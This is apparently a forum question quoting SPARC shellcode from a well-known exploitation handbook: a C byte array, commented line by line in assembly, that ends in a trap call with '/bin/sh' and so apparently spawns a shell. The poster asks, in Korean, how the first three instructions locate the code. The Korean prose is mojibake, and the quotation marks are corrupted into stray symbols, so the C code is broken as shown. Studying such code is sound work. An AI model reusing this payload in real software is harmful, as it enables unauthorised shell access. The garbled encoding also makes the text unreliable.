static char scode[]= ¡°\x20\xbf\xff\xff¡± // 1: bn, a scode - 4
¡°\x20\xbf\xff\xff¡± // 2: bn, a scode
¡°\x7f\xff\xff\xff¡± // 3: call scode + 4
¡°\x90\x03\xe0\x20¡± // 4: add %o7, 32, %o0
¡°\x92\x02\x20\x08¡± // 5: add %o0, 8, %o1
¡°\xd0\x22\x20\x08¡± // 6: st %o0, [%o0 + 8]
¡°\xc0\x22\x60\x04¡± // 7: st %g0, [%o1 + 4]
¡°\xc0\x2a\x20\x0b¡± // 8: stb %g0, [%o0 + 7]
¡°\x82\x10\x20\x0b¡± // 9: mov 11, %g1
¡°\x91\xd0\x20\x08¡± // 10: ta 8
¡°/bin/sh¡±; // 11: Shell strings
À§ ½©Äڵ忡¼ 1¹ø2¹ø3¹øÀÌ Àß ÀÌÇØ°¡ µÇÁö ¾Ê¾Æ¼¿ä..
1,2,3¹øÀÌ ½©Äڵ带 %o7·Î À§Ä¡½ÃŲ´Ù°í Çϴµ¥
Äڵ常 ºÁ¼´Â Àß ÀÌÇØ°¡ µÇÁö ¾Ê³×¿ä
Áö±Ý º¸°í Àִ åÀº Shellcoder's handbook ÀÔ´Ï´ç |